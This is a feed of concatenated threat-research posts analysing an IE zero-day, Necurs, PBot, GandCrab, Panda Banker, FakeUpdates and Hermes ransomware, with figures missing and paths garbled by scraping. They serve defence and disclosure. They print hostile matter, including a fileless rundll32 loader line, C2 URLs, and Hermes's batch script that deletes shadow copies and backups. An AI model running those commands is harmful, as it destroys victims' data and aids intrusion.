Internet Explorer zero-day: browser is once again under attack

In late April, two security companies (Qihoo360 and Kaspersky) independently discovered a zero-day for Internet Explorer (CVE-2018-8174), which was used in targeted attacks for espionage purposes. This marks two years since a zero-day has been found (CVE-2016-0189 being the latest one) in the browser that won’t die, despite efforts from Microsoft to move on to the more modern Edge.

The vulnerability exists in the VBScript engine and how it handles memory objects. It will also affect IE11 even though VBScript is no longer supported by using the compatibility tag for IE10.

The attack came via a Word document making use of OLE autolink objects to retrieve the exploit and shellcode from a remote server. However, it is important to note that it could very well have been executed by visiting a website instead.

Perhaps one of the reasons why it was not used as a drive-by download attack may be related to the targets running another browser as their default (i.e. Chrome) where the exploitation would never occur. However, by tricking their victims to open an Office document, the attackers can force Internet Explorer to load, thanks in part to the URL moniker “feature.”

Using, we see the call for an HTTP connection:

python -s 320 -H CVE-2018-8174.rtf

000014C0: 70 B2 86 8C 53 30 05 43 00 38 30 01 18 68 00 74 p���S0.C.80..h.t
000014D0: 00 74 00 70 00 3A 00 2F 00 2F 00 61 00 75 00 74 .t.p.:././.a.u.t
000014E0: 00 6F 00 73 00 6F 00 75 00 6E 00 64 00 63 00 68 .o.s.o.u.n.d.c.h
000014F0: 00 65 00 63 00 6B 00 65 00 72 00 73 00 2E 00 63 .e.c.k.e.r.s...c
00001500: 00 6F 00 6D 00 2F 00 73 00 32 00 2F 00 73 00 65 .o.m./.s.2./.s.e
00001510: 00 61 00 72 00 63 00 68 00 2E 00 70 00 68 00 70 .a.r.c.h...p.h.p
00001520: 00 3F 00 77 00 68 00 6F 00 3D 00 37 00 00 00 00 .?.w.h.o.=.7....

This remote request will download a VBS script. A Proof of Concept adapted from the blog that was published by Kaspersky can be seen below:

The flaw abused by this vulnerability relates to a reference count that is checked at the beginning of the function but not after, despite the chance of it being incremented along the way. This allows an attacker to execute malicious shellcode and eventually load the malware binary of his choice.

We tested this Use After Free (UAF) vulnerability with the publicly available PoC running Internet Explorer 11 under Windows 10. The browser crashes once it loads the VBS code, but with Malwarebytes, the attack vector is mitigated:

Microsoft has released a patch for this vulnerability, and we strongly advise to apply it, as it is just a matter of time before other threat actors start leveraging this new opportunity in spam or exploit kit campaigns.

We will update this blog if we obtain more information about this vulnerability being used widely, and in particular, if a full working exploit is available.

The post Internet Explorer zero-day: browser is once again under attack appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Internet Shortcut used in Necurs malspam campaign

The Necurs botnet continues to be one of the most prolific malicious spam distributors, with regular waves of carefully-crafted attachments that are used to download malware.

The majority of malspam campaigns that we track are targeting Microsoft Office with documents containing either macros or exploits. We also see a number of other types of malicious attachments that are zipped scripts (.VBS, .JS, etc)—essentially downloaders for the final payload.

In a new technique recently uncovered, Necurs is changing things up a little bit by avoiding the aforementioned formats and using a different file type instead, crafting malicious .URL files (Internet Shortcut).

This attack relies on the file:// protocol to load and execute a remote script from a samba (SMB) share. This is noteworthy because typically the attachment is used as a downloader, but instead here we see one additional step that pushes this function one degree further thanks to the .url shortcut.

By not placing the malicious script directly within the attachment, attackers are also preventing the automated collection and sandbox analysis that usually takes place within spam traps.

An obfuscated view of the WSF script can be seen in the screenshot below:

The final payload is eventually downloaded from a remote server:

This is an interesting attack designed to bypass traditional security measures and administrative policies that may block the well-known Office macros.

Malwarebytes users are already protected against this technique.

Malware authors are constantly looking for new evasion techniques as long as they generate good success rates. Social engineering attacks have relied upon the same lures for some time, but every now and again we see a slight variation in a technique that was perhaps known, but not yet leveraged by criminals.

The post Internet Shortcut used in Necurs malspam campaign appeared first on Malwarebytes Labs.

Go to Source
Author: Malwarebytes Labs

PBot: a Python-based adware

Recently, we came across a Python-based sample dropped by an exploit kit. Although it arrives under the disguise of a MinerBlocker, it has nothing in common with miners. In fact, it seems to be PBot/PythonBot: a Python-based adware.

Apart from a couple of posts on forums in Russian language and brief threat notes, we couldn’t find any detailed publication.

Some of its features are pretty interesting, so we decided to take a closer look. The malware performs MITB (man-in-the-browser) attacks and injects various scripts into legitimate websites. Its capabilities may go beyond simple injections of ads, depending on the intentions of its distributors.

Analyzed samples

Distribution method

The described sample was dropped by the RIG exploit kit:

Behavioral analysis


The main executable, dropped by the exploit kit, is a downloader. The downloader is pretty simple and not obfuscated. We can see the scripts in the resources:

Its role is to fetch the second installer that has all the malicious Python scripts inside. The second component is named MinerBlocker.

The interesting thing is, if the downloaded component is run as a standalone, it behaves like a normal, legitimate installer, displaying a EULA and installation wizard. We can see the following information:

It pretends to be a legitimate application dedicated to blocking malicious miners. However, we could not find any website corresponding to the mentioned product, so at the moment we suspect that it is fully made up.

When the same component is run by the original downloader, the installation is fully stealthy instead. It drops the package in %APPDATA%.


The dropped application consists of multiple elements. We can see a full installation of Python prepared in order to run the dropped scripts. The bundle has also its own uninstaller (uninstall.exe) that, once deployed, fully removes the package.

In the directory js, as the name suggests, we can find a file with JavaScript, i.js:

In configs, there are two configuration files: rules.ini and settings.ini.

The configuration file rules.ini specifies the path to the JavaScript and suggests that it will be injected somewhere:

The file settings.ini contains various interesting parameters. It contains, among others:

1) The ports on which the service will be running, and the issuer of the used certificate:

2) A list of processes (browsers) that will possibly be attacked:

3) A set of whitelisted IPs and domains. The domains are in Base64 format and, after decoding them, we can see various Russian banking sites. The full list of the decoded sites is available here. As we later confirmed, those sites are exempted from the infection.

Persistence is achieved by Run keys in the registry:

They lead to one of the scripts called “” Once this script is run, it deploys another Python component: “” with the dropped .ini files:


If we look at the packaging, which contains an uninstaller, the application could look legitimate. However, its functionality is far form something that any user would desire to have on his/her computer. First of all, it injects scripts into each website you visit. The injected script comes from the path specified in the configuration, however, it further loads a second stage from the remote server (captured content of the second stage available here).

So, once it is injected, the attackers are in control of the contents displayed in our browser. They can inject ads, but also any other much more malicious content.

Example of a site with the script injected by the malware that impersonates a domain belonging to Google:

Compare it with the script that was in the directory js, i.js (formatted version available here):

Also, the malware forges certificates and performs the man-in-the-browser attack. The legitimate certificates on the sites with HTTPS are replaced by fake certificates issued by “The Filter” that is a malicious entity:

Looking at the sockets opened by a browser (i.e. by ProcessExplorer) and comparing them with the sockets opened by the Python instance, we find that they are paired together. It is an indicator that the browser communicates with the malware and works under its control.

Example: Internet Explorer connected to a socket 24681. We can see that this socket was opened by the Python process running the malware:


The loader (written in Python)

The first layer of the malware is the obfuscated Python scripts.

As mentioned before, at the beginning, the script is run. This script is obfuscated. Its role is to run the second Python layer that is

The script is supposed to decrypt a DLL stored in the file httpfilter.bin.

Then, it injects the DLL into the Python executable. It is interesting because PE injectors written in Python are not so common.

The injector (DLL)

The DLL injected in Python (e5ba5f821da68331b875671b4b946b56) is the main component of the malware. This component expects to be injected into Python executable:

It also fetches the passed parameters (settings.ini and rules.ini). So we can see that they were not meant to be parsed by the script to which they were previously passed.

The authors left some debug strings that makes the execution flow easy to follow. For example:

This DLL is responsible for parsing the configuration and setting up the malicious proxy.

It comes with two hardcoded DLLs: one 32-bit and one 64-bit (both stored in overlay of the PE file and not obfuscated). Those DLLs are the components that are further injected into browsers that are selected by the configuration. Their names are appropriately: injectee-x86.dll and injectee-x64.dll:

The injectee (DLL)

The execution of injectee DLL starts in the exported function, InjectorEntry:

The injectee is implanted in a browser and responsible for hooking its DLLs. Here’s the beginning of the hooking function:

The hooking function is pretty standard for this type of event. It retrieves the addresses of the specified exported functions, then it overwrites the beginning of each function redirecting it to the corresponding function within the malicious DLL.

The targets are functions responsible for parsing certificates (in Crypt32.dll), as well as functions responsible for sending and receiving data (in ws32_dll):

When we dump the hooks via PE-sieve, we can directly see how those functions have been redirected to the malware. Here is the list of tags gathered from the appropriate DLLs:

From Crypt32:


From ws32_dll:


In both cases, we can see that the addresses have been redirected to the injectee DLL that was loaded at the base 50000.

So, for example, the function WSASend gets intercepted and the execution is redirected to a function at RVA 0xd90 in the injectee dll:

The beginning of the intercepting function:

By this way, all the requests are redirected to the malware. It can work as a proxy, altering data on the way.

After the proxy function finishes, it jumps back to the original function, so the user doesn’t realize any change in the functionality.


This malware is pretty simple, does not contain much obfuscation and was probably not intended to be stealthy. Rather than hiding, it tries to look harmless and legitimate. However, the functionality that it delivers is powerful enough to cause serious harm. It may be configured to display harmless ads, but it could also be configured to display phishing pop-ups, such as it was implemented in Kronos. Also, the fact that it forges certificates of the sites should raise concerns.

The post PBot: a Python-based adware appeared first on Malwarebytes Labs.

Go to Source
Author: hasherezade

Magnitude exploit kit switches to GandCrab ransomware

The GandCrab ransomware is reaching far and wide via malspam, social engineering schemes, and exploit kit campaigns. On April 16, we discovered that Magnitude EK, which had been loyal to its own Magniber ransomware, was now being leveraged to push out GandCrab, too.

While Magnitude EK remains focused on targeting South Koreans, we were able to infect an English version of Windows by replaying a previously recorded infection capture. This is an interesting departure from Magniber, which was extremely thorough at avoiding other geolocations.

Magnitude is now also using a fileless technique to load the ransomware payload, making it somewhat harder to intercept and detect. The variations of this technique have been known for several years and used by other families such as by Poweliks, but they are a new addition to Magnitude.

Figure 1: Magnitude EK traffic capture with the GandCrab payload

Magnitude has always experimented with unconventional ways to load its malware, for example via binary padding, or more recently via another technique, but still exposing it “in the clear” from traffic or network packet capture.

Figure 2: Magnitude EK dropping Magniber on April 4, 2018

The payload is encoded (using VBScript.Encode/JScript.Encode) and embedded in a scriplet that is later decoded in memory and executed.

"C:WindowsSystem32rundll32.exe" javascript:"..mshtml,RunHTMLApplication ";

Figure 3: Innocuous scriptlet hides the payload

After the payload is injected into explorer.exe, it immediately attempts to reboot the machine. If we suspend that process and use @hasherezade‘s PE-Sieve, we can actually dump the GandCrab DLL from memory:

Figure 4: Extracting the payload from memory using PE-Sieve

Upon successful infection, files will be encrypted with the .CRAB extension while a ransom note is left with instructions on the next steps required to recover those files.

Figure 5: GandCrab’s ransom note

A recent law enforcement operation provided victims with a way to recover their files from previous GandCrab infections. However, the latest version cannot be decrypted at the moment.

Malwarebytes users are protected against this attack when either the Internet Explorer (CVE-2016-0189) or Flash Player (CVE-2018-4878) exploits are fired.

Time will tell if Magnitude sticks to GandCrab, but this is a noteworthy change for an exploit kit that solely used its own Magniber ransomware for about 7 months, after having replaced the trusted Cerber.

Indicators of compromise

Dumped GandCrab DLL


The post Magnitude exploit kit switches to GandCrab ransomware appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Panda Banker Zeros in on Japanese Targets

Key Findings

  • A threat actor using the well-known banking malware Panda Banker (a.k.a Zeus Panda, PandaBot) has started targeting financial institutions in Japan.
  • Based on our data and analysis this is the first time that we have seen Panda Banker injects targeting Japanese organizations.
  • It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting, Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns.
  • The sample used in this campaign was the first sample we observed in the wild to use the newest version of Panda Banker, version 2.6.6.


Panda Banker is based on the Zeus malware family. One of its main functions is stealing user credentials, account numbers, and ultimately money from financial institutions. It does this by using a technique known as “man in the browser” along with “webinjects” that specify what websites to target and how.

This banking malware was first seen in the wild in the beginning of 2016 (version 2.1.x) and has had consistent, incremental development since then. While some details have changed, our “Who Let the Pandas Out? Zeus, Zeus, Zeus, Zeus” blog post is still a good introduction to the technical details of the malware.

Panda Banker is sold as a kit on underground forums so there are multiple users of the malware. Cybercrime threat actors tend to focus their campaigns on particular countries—usually dependent on their ability to convert stolen credentials and account details from those locations into real money. Over the years we’ve seen Panda Banker campaigns focus on financial institutions in: Italy, Canada, Australia, Germany, United States, United Kingdom, and now Japan.

Campaign Analysis

A new version of Panda Banker, version 2.6.6, was observed being distributed in the wild on March 26th:


Compilation date: 2018-03-26 09:54:57

While we didn’t see any significant changes to the malware itself (possibly just a “bug fix” release), the campaign using this sample stood out for two reasons:

  1. No IOC overlap with any previous Panda Banker campaigns that we’ve seen.
  2. Webinjects targeting Japan, a country we haven’t seen targeted by Panda Banker before.

Command & Control (C2)

The C2 servers configured for this sample are listed below:

  • https://hillaryzell[.]xyz/1wekenauhivwauvaxquor.dat
  • https://buscamapa1[.]top/2yrfuupcovylaawubitvy.dat
  • https://buscamapa2[.]top/3toaxkatoindyepidikuv.dat
  • https://buscamapa3[.]top/4heequktuepahvoyfofit.dat
  • https://buscamapa4[.]top/5ufyfegtuobekpykobeul.dat
  • https://buscamapa5[.]top/6lubanuoxapywinlaokow.dat

At the time of research, only hillaryzell[.]xyz was operational and it was registered to a “Petrov Vadim” using an email address of “”.

Campaign Name

The threat actor named this campaign “ank”.


At the time of research, the C2 server returned 27 webinjects that can be broken down into the following categories:

  • 17 Japanese banking web sites mostly focusing on credit cards
  • 1 US based web email site
  • 1 US based video search engine
  • 4 US based search engines
  • 1 US based online shopping site
  • 2 US based social media sites
  • 1 US based adult content hub

An example, redacted webinject for this campaign looks like the following:

Example webinject targeting Japan.

The webinjects in this campaign make use of a “grabber” / automated transfer system (ATS) system known as “Full Info Grabber” to capture credentials and account information. As can be seen in figures above, the threat actor is using a path of “jpccgrab” possibly meaning “Japanese credit card grabber”. Given the targeting, this name makes some sense.

Distribution (update March 28, 2018)

Security researcher kafeine has released more details on how this threat is being distributed in the wild: a malicious advertisement (malvertising) is redirecting victims to a RIG exploit kit which is distributing the Panda Banker malware.


Japan is no stranger to banking malware. Based on recent reports, the country has been plagued by attacks using the Ursnif and Urlzone banking malware. This post was our first analysis of the first Panda Banker campaign that we’ve seen to target financial institutions in Japan.

Go to Source
Author: Dennis Schwarz

‘FakeUpdates’ campaign leverages multiple website platforms

A malware campaign which seems to have started at least since December 2017 has been gaining steam by enrolling a growing number of legitimate but compromised websites. Its modus operandi relies on social engineering users with fake but convincing update notifications.

Similar techniques were used by a group leveraging malvertising on high traffic websites such as Yahoo to distribute ad fraud malware. The patterns are also somewhat reminiscent of EITest’s HoeflerText campaign where hacked websites are scrambled and offer a font for download. More recently, there has been a campaign affecting Magento websites that also pushes fake updates (for the Flash Player) which delivers the AZORult stealer by abusing GitHub for hosting.

Today, we are looking at what we call the ‘FakeUpdates campaign’ and describing its intricate filtering and evasion techniques. One of the earliest examples we could find was reported by BroadAnalysis on December 20, 2017. The update file is not an executable but rather a script which is downloaded from DropBox, a legitimate file hosting service, as can be seen in the animation below.

Figure 1: A typical redirection to the ‘FakeUpdates’ scheme from a hacked site

This campaign affects multiple Content Management Systems (CMS) in somewhat similar ways. Several of the websites we checked were outdated and therefore vulnerable to malicious code injection. It is possible that attackers used the same techniques to build their inventory of compromised sites but we do not have enough information to confirm this theory.

WordPress and Joomla

Both WordPress and Joomla sites that were hacked bear the same kind of injection within their CMS’ JavaScript files.

Figure 2: A Compromised WordPress site pushing a fake Google Chrome update

Figure 3: A Compromised Joomla site pushing a fake Mozilla Firefox update

Some commonly injected files include the jquery.js and caption.js libraries where code is typically appended and can be spotted by doing a comparison with a clean copy of the same file.

Figure 4: Diffing a clean and suspicious copy of the same library

The additional blurb of code is responsible for the next chain of events that loads the fraudulent layer onto the website you are visiting. The image below shows a beautified version of the code injected in the CMS platforms, whose goal is to call the redirection URL:

Figure 5: Injected code responsible for the redirection

We wrote a simple crawler to browse a list of sites and then parsed the results. We were able to identify several hundred compromised WordPress and Joomla websites even after a small iteration through the list. Although we don’t have an exact number of sites that are affected, we surmise that it is in the thousands.

Figure 6: A partial list of compromised sites


Squarespace is another popular Content Management System that is also affected by the same campaign. This was pointed out by @Ring0x0 and we found a forum post dated February 28, where a Squarespace user is asking for help, saying “it basically redirected me to a full page “your version of chrome needs updating“”.

Figure 7: A Squarespace user reporting that their sites was tampered with

So I login to the admin panel and in the GIT HISTORY it shows that one of my users which has never even logged in before, has sent an upload: site-bundle.js last week, along with some other big list of files {sic}.

We dug deeper into these compromises and identified a slightly different redirection mechanism than the one used on WordPress or Joomla sites. With Squarespace, a blurb of JavaScript is injected directly into the site’s homepage instead.

Figure 8: Traffic showing a malicious redirection taking place on a Squarespace site

It pulls a source file from query[.]network that in turn retrieves bundle.js from boobahbaby[.]com:

Figure 9: The injected code present in hacked Squarespace sites 

bundle.js contains the same script we described earlier that is used to call the redirection URL:

Figure 10: The same redirection code used in WP and Joomla infections is used here

According to this PublicWWW query, a little over 900 SquareSpace sites have been injected with this malicious redirection code.

Figure 11: Identifying other hacked Squarespace sites using a string pattern

Redirection URL and filtering

All CMSes trigger redirection URIs with similar patterns that eventually load the fraudulent update theme. Based on our tests, the URIs have identifiers that apply to a particular CMS; for example cid=221 is associated with WordPress sites, while cid=208 with Joomla.




Open Journal Systems 

Unknown CMS 

There are other interesting artifacts on this infrastructure, such as an ad rotator:

But if we focus on the redirection code itself, we notice that potential victims are fingerprinted and the ultimate redirection to the FakeUpdates template is conditional, in particular with only one hit per single IP address. The last JavaScript is responsible for creating the iframe URL to that next sequence.

Figure 12: Fingerprinting, cookie verification and iframe redirection are performed here

FakeUpdates theme

There are templates for the Chrome, Firefox and Internet Explorer browsers, the latter getting a bogus Flash Player update instead.

Click to view slideshow.

Figure 13: Attackers are targeting browsers with professional looking templates

The decoy pages are hosted on compromised hosts via sub-domains using URIs with very short life spans. Some of those domains have a live (and legitimate website) whereas others are simply parked:

Legitimate (shadowed) domain:


Figure 14: This property’s credentials have most likely been stolen and used to register a malicious subdomain

Parked domain:


Figure 15: Parked domains can hide ulterior motives

Final infection chain and payloads

The infection starts with the fake update disguised as a JavaScript file retrieved from the Dropbox file hosting service. The link to Dropbox, which is updated at regular intervals, is obfuscated inside of the the first web session belonging to the fake theme.

Figure 16: the fileURL variable contains the Dropbox URL

This JavaScript is heavily obfuscated to make static analysis very difficult and also to hide some crucial fingerprinting that is designed to evade virtual machines and sandboxes.

Figure 17: The malicious JavaScript downloaded from DropBox

According to this very good and detailed analysis of the JS file, this is because step2 of the victim’s profiling uses WScript.Network and WMI to collect system information (BIOS, manufacturer, architecture, MAC address, processes, etc) and eventually makes the decision to continue with the payload or end the script without delivering it.

A failed infection will only contain 2 callbacks to the C2 server:

Figure 18: A host that is not a genuine machine was detected and infection aborted

While a successful infection will contain 3 callbacks to the C2 server (including the payload):

Figure 19: When all checks pass, the user is served the payload

The encoded payload stream is decoded by wscript.exe and a malicious binary (Chrome_71.1.43.exe in this case), dropped in the %temp% folder. That file was digitally signed and also employed various evasion techniques (such as an immediate reboot) to defeat sandboxes.

Figure 20: A digitally signed file is no guarantee for safety

Upon examination, we determined that this is the Chtonic banking malware, a variant of ZeusVM. Once the system has restarted, Chtonic retrieves a hefty configuration file from 94.100.18[.]6/3.bin.

In a second replay attempt, we got the NetSupport Remote Access Tool, a commercial RAT instead. Its installation and configuration were already well covered in this blog. Once again, we noticed the heavy use of obfuscation throughout the delivery of this program that can be used for malicious purposes (file transfer, remote Desktop, etc.).

Figure 21: Traffic from the RAT infection, showing its backend server


This campaign relies on a delivery mechanism that leverages social engineering and abuses a legitimate file hosting service. The ‘bait’ file consists of a script rather than a malicious executable, giving the attackers the flexibility to develop interesting obfuscation and fingerprinting techniques.

Compromised websites were abused to not only redirect users but also to host the fake updates scheme, making their owners unwitting participants in a malware campaign. This is why it is so important to keep Content Management Systems up to date, as well as use good security hygiene when it comes to authentication.

Malwarebytes blocks the domains and servers used in this attack, as well as the final payload.

Indicators of compromise

Redirection infrastructure:


Dropped binaries:



NetSupport RAT


The post ‘FakeUpdates’ campaign leverages multiple website platforms appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Hermes ransomware distributed to South Koreans via recent Flash zero-day

This blog post was authored by @hasherezade, Jérôme Segura and Vasilios Hioureas.

At the end of January, the South Korean Emergency Response Team (KrCERT) published news of a Flash Player zero-day used in targeted attacks. The flaw, which exists in Flash Player and below, was distributed via malicious Office documents containing the embedded Flash exploit. Only a couple of weeks after the public announcement, spam campaigns were already beginning to pump out malicious Word documents containing the newly available exploit.

While spam has been an active distribution channel for some time now, the news of a Flash exploit would most certainly interest exploit kit authors as well. Indeed, in our previous blog post about this vulnerability (CVE-2018-4878), we showed how trivial it was to use an already available Proof-of-Concept and package it as as a drive-by download instead.

On March 9th, MDNC discovered that a less common, but more sophisticated exploit kit called GreenFlash Sundown had started to use this recent Flash zero-day to distribute the Hermes ransomware. This payload was formerly used as part of an attack on a Taiwanese bank and suspected to be the work of a North Korean hacking group. According to some reports, it may be a decoy attack and “pseudo-ransomware“.

By checking on the indicators published by MDNC, we were able to identify this campaign within our telemetry and noticed that all exploit attempts were made against South Korean users. Based on our records, the first hit happened on February 27, 2018, (01:54 UTC) via a compromised Korean website.

We replayed this attack in our lab and spent a fair amount of time looking for redirection code within the JavaScript libraries part of the self hosted OpenX server. Instead, we found that it was hiding in the main page’s source code.

We had already pinpointed where the redirection was happening by checking the DOM on the live page, but we also confirmed it by decoding the large malicious blurb that went through Base64 and RC4 encoding (we would like to thank David Ledbetter for that).

Hermes ransomware

The payload from this attack is Hermes ransomware, version 2.1.

Behavioral analysis

The ransomware copies itself into %TEMP% under the name svchosta.exe and redeploys itself from that location. The initial sample is then deleted.

The ransomware is not particularly stealthy—some windows pop up during its run. For example, we are asked to run a batch script with administrator privileges:

The authors didn’t bother to deploy any UAC bypass technique, relying only on social engineering for this. The pop-up is deployed in a loop, and by this way it tries to force the user into accepting it. But even if we don’t let the batch script be deployed, the main executable proceeds with encryption.

The batch script is responsible for removing the shadow copies and other possible backups:

It is dropped inside C:UsersPublic along with some other files:

The file “PUBLIC” contains a blob with RSA public key. It is worth noting that this key is unique on each run, so, the RSA key pair is generated per victim. Example:

Another file is an encrypted block of data named UNIQUE_ID_DO_NOT_REMOVE. It is a blob containing an encrypted private RSA key, unique for the victim:

Analyzing the blob header, we find the following information:

The rest of the data is encrypted—at this moment, we can guess that it is encrypted by the RSA public key of the attackers.

The same folder also contains a ransom note. When the encryption finished, the ransom note pops up. The note is in HTML format, named DECRYPT_INFORMATION.html.

The interesting fact is that, depending on the campaign, in some of the samples the authors used BitMessage to communicate with victims:

This method was used in the past by a few other authors, for example in Chimera ransomware, and by the author of original Petya in his affiliate programs.

Encrypted files don’t have their names changed. Each file is encrypted with a new key—the same plaintext produces various ciphertext. The entropy of the encrypted file is high, and no patterns are visible. That suggests that some stream cipher or a cipher with chained blocks was used. (The most commonly used in such cases is AES in CBC mode, but we can be sure only after analyzing the code). Below, you can see a visualization of a BMP file before and after being encrypted by Hermes:


Inside each file, after the encrypted content, there is a “HERMES” marker, followed by another blob:

This time the blob contains an exported session key (0x01 : SIMPLEBLOB) and the algorithm identifier is AES (0x6611: CALG_AES). We can make an educated guess that it is the AES key for the file, encrypted by the victim’s RSA key (from the generated pair).

The ransomware achieves persistence by dropping a batch script in the Startup folder:

The script is simple; its role is just to deploy the dropped ransomware: svchosta.exe.

So, on each system startup it will make a check for new, unencrypted files and try to encrypt them. That’s why, as soon as one discovers that they have been attacked by this ransomware, they should remove the persistence entry in order to not let the attack repeat itself.

Inside the ransomware

Execution flow

At the beginning of the execution, the ransomware creates a mutex named “tech”:

The sample is mildly obfuscated, for example, its imports are loaded at runtime. The .data section of the PE file is also decrypted during the execution, so, at first we will not see the typical strings.

First, the executable begins to dynamically load all its imports via a function at 4023e0:

It then checks the registry key for a language code. If Russian, Belarusian, or Ukrainian are found as the system language, it exits the process (0x419 being Russian, 422 Ukrainian, and 423 Belarusian).

It then creates two subprocesses – cmd.exe. One that copies itself into directory appdata/local/temp/svchost.exe, and another that executes the copied file.

It also generates crypto keys using standard CryoptAquireCOntext libraries, and saves the public key and some kind of ID into the following files:



As mentioned earlier, it writes out a script to auto run on startup with contents: start “” %TEMP%svchosta.exe into the Start menu startup folder. This is quite simple and conspicuous. Since it is always running and keeps persistence, it makes sense that it saved out the public key into a file so that it can later find that key and continue encrypting using a consistent key throughout all executions.

Below is the function that calls all of this functionality sequentially, labeled:

It proceeds to cycle all available drives. If it is CDRom, it will skip it. Inside the function, it goes through all files and folders on the drive, but skips a few key directories, not limited to Windows, Mozilla, and the recycling bin.

Inside of the function labeled recursiveSearch_Encrypt are the checks for key folders and drive type:

It then continues on to enumerate netResources and encrypts those files as well. After encryption, it creates another bat file called window.bat to delete shadow volume and backup files. Here is its content:

vssadmin Delete Shadows /all /quiet
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
vssadmin Delete Shadows /all /quiet
del /s /f /q c:*.VHD c:*.bac c:*.bak c:*.wbcat c:*.bkf c:Backup*.* c:backup*.* c:*.set c:*.win c:*.dsk
del /s /f /q d:*.VHD d:*.bac d:*.bak d:*.wbcat d:*.bkf d:Backup*.* d:backup*.* d:*.set d:*.win d:*.dsk
del /s /f /q e:*.VHD e:*.bac e:*.bak e:*.wbcat e:*.bkf e:Backup*.* e:backup*.* e:*.set e:*.win e:*.dsk
del /s /f /q f:*.VHD f:*.bac f:*.bak f:*.wbcat f:*.bkf f:Backup*.* f:backup*.* f:*.set f:*.win f:*.dsk
del /s /f /q g:*.VHD g:*.bac g:*.bak g:*.wbcat g:*.bkf g:Backup*.* g:backup*.* g:*.set g:*.win g:*.dsk
del /s /f /q h:*.VHD h:*.bac h:*.bak h:*.wbcat h:*.bkf h:Backup*.* h:backup*.* h:*.set h:*.win h:*.dsk
del %0

It then creates and executes another bat file called svchostaaexe.bat that cycles through the entire file system again to search for and delete all backup files. This is interesting, as we have rarely seen ransomware looking in so much detail for backup files.

There is no functionality that communicates a decryption key to a C2 server. This means that the file UNIQUE_ID_DO_NOT_REMOVE, which contains the unique ID you have to send to the email address, must be encrypted by a public key pair that the attackers have pre-generated and retained on their side.

We have found that there is a heavy code reuse from the old versions of Hermes with this one. The flow of the code looks to be a bit different, but the overall functionality is the same. This is quite clear when comparing the two versions in a disassembler.

Below are two screenshots: the first from the current version we are analyzing, and the second from the old version. You can clearly see that even though the flow and arrangement are a bit different, the functionality remains mostly the same.

The new version:

And the old version 237eee069c1df7b69cee2cc63dee24e6:

Attacked targets

The ransomware attacks the following extensions:

tif php 1cd 7z cd 1cd dbf ai arw txt doc docm docx zip rar xlsx xls xlsb xlsm jpg jpe jpeg bmp db eql sql adp mdf frm mdb odb odm odp ods dbc frx db2 dbs pds pdt pdf dt cf cfu mxl epf kdbx erf vrp grs geo st pff mft efd 3dm 3ds rib ma max lwo lws m3d mb obj x x3d c4d fbx dgn dwg 4db 4dl 4mp abs adn a3d aft ahd alf ask awdb azz bdb bib bnd bok btr bak cdb ckp clkw cma crd dad daf db3 dbk dbt dbv dbx dcb dct dcx ddl df1 dmo dnc dp1 dqy dsk dsn dta dtsx dxl eco ecx edb emd fcd fic fid fil fm5 fol fp3 fp4 fp5 fp7 fpt fzb fzv gdb gwi hdb his ib idc ihx itdb itw jtx kdb lgc maq mdn mdt mrg mud mwb s3m myd ndf ns2 ns3 ns4 nsf nv2 nyf oce oqy ora orx owc owg oyx p96 p97 pan pdb pdm phm pnz pth pwa qpx qry qvd rctd rdb rpd rsd sbf sdb sdf spq sqb stp str tcx tdt te tmd trm udb usr v12 vdb vpd wdb wmdb xdb xld xlgc zdb zdc cdr cdr3 ppt pptx abw act aim ans apt asc ase aty awp awt aww bad bbs bdp bdr bean bna boc btd cnm crwl cyi dca dgs diz dne docz dot dotm dotx dsv dvi dx eio eit emlx epp err etf etx euc faq fb2 fbl fcf fdf fdr fds fdt fdx fdxt fes fft flr fodt gtp frt fwdn fxc gdoc gio gpn gsd gthr gv hbk hht hs htc hwp hz idx iil ipf jis joe jp1 jrtf kes klg knt kon kwd lbt lis lit lnt lp2 lrc lst ltr ltx lue luf lwp lyt lyx man map mbox me mell min mnt msg mwp nfo njx now nzb ocr odo odt ofl oft ort ott p7s pfs pfx pjt prt psw pu pvj pvm pwi pwr qdl rad rft ris rng rpt rst rt rtd rtf rtx run rzk rzn saf sam scc scm sct scw sdm sdoc sdw sgm sig sla sls smf sms ssa stw sty sub sxg sxw tab tdf tex text thp tlb tm tmv tmx tpc tvj u3d u3i unx uof uot upd utf8 utxt vct vnt vw wbk wcf wgz wn wp wp4 wp5 wp6 wp7 wpa wpd wpl wps wpt wpw wri wsc wsd wsh wtx xdl xlf xps xwp xy3 xyp xyw ybk yml zabw zw abm afx agif agp aic albm apd apm apng aps apx art asw bay bm2 bmx brk brn brt bss bti c4 cal cals can cd5 cdc cdg cimg cin cit colz cpc cpd cpg cps cpx cr2 ct dc2 dcr dds dgt dib djv djvu dm3 dmi vue dpx wire drz dt2 dtw dvl ecw eip exr fal fax fpos fpx g3 gcdp gfb gfie ggr gif gih gim spr scad gpd gro grob hdp hdr hpi i3d icn icon icpr iiq info ipx itc2 iwi j j2c j2k jas jb2 jbig jbmp jbr jfif jia jng jp2 jpg2 jps jpx jtf jwl jxr kdc kdi kdk kic kpg lbm ljp mac mbm mef mnr mos mpf mpo mrxs myl ncr nct nlm nrw oc3 oc4 oc5 oci omf oplc af2 af3 asy cdmm cdmt cdmz cdt cgm cmx cnv csy cv5 cvg cvi cvs cvx cwt cxf dcs ded dhs dpp drw dxb dxf egc emf ep eps epsf fh10 fh11 fh3 fh4 fh5 fh6 fh7 fh8 fif fig fmv ft10 ft11 ft7 ft8 ft9 ftn fxg gem glox hpg hpgl hpl idea igt igx imd ink lmk mgcb mgmf mgmt mt9 mgmx mgtx mmat 